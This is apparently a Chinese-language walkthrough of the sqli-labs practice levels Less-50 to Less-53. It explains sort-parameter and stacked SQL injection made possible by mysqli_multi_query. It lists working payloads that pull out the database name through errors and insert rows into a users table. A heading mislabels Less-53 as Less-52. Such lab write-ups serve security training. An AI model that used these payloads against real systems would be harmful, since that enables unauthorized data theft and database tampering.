Less-50
基于错误_GET_数字型_排序堆叠注入
我们可以看下 Page 3 的关卡组成如下:
Less 38 - Less 41:GET 型堆叠注入
Less 42 - Less 45:POST 型堆叠注入
Less 46 - Less 49:排序注入
Less 50 - Less 53:排序堆叠注入
而Less-50的核心源码如下:(没有任何的过滤)
我们从源码可以看到,一般后台查询数据库使用的语句都是mysql_query()
,而可以堆叠注入的后台使用的是mysqli_multi_query()
。(这个函数是能否进行堆叠注入的关键)
Less-46的排序注入在这一关通用,如:(更多方法参考Less-46自行尝试)
?sort=(select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)
?sort=1 and (updatexml(1,concat(0x7e,(select database())),0))
同理,堆叠注入的方法也同样适用这一关,详细可参考Less-38:
?sort=1;insert into users(id,username,password) values(50,'Less50','Less50')--+
(注:数字型还是比较简单的)
------------------------------------- 分隔符 -------------------------------------
Less-51
基于错误_GET_字符型_单引号_排序堆叠注入
本关的 sql 语句为
和Less-50的操作基本一样,只要注意单引号的闭合和注释符就可以了。
例如:
?sort=1' and (select 1 from (select count(*),concat_ws('-',(select database()),floor(rand()*2))as a from information_schema.tables group by a) b)--+
堆叠注入:
?sort=1';insert into users values(51,'Less51','Less51')--+
--------------------------- 分隔符 ------------------------------------
Less-52
基于Bool_GET_数字型_盲注_堆叠注入
和 Less-50 是一样的,只是这里的 mysql 错误不会在前台显示,但是对于 stacked injection 是
一样的利用方式,当然布尔盲注,延时注入都可以参考Less-46,这里只演示堆叠注入:
?sort=1;insert into users(id,username,password) values(52,'Less52','Less52')--+
------------------------------------ 分隔符 -----------------------------
Less-52
基于Bool_GET_单引号_字符型_盲注_堆叠注入
和 Less-51 是一样的,只是这里的 mysql 错误不会在前台显示,但是对于 stacked injection 是
一样的利用方式
?sort=1';insert into users(id,username,password) values(53,'Less53','Less53')--+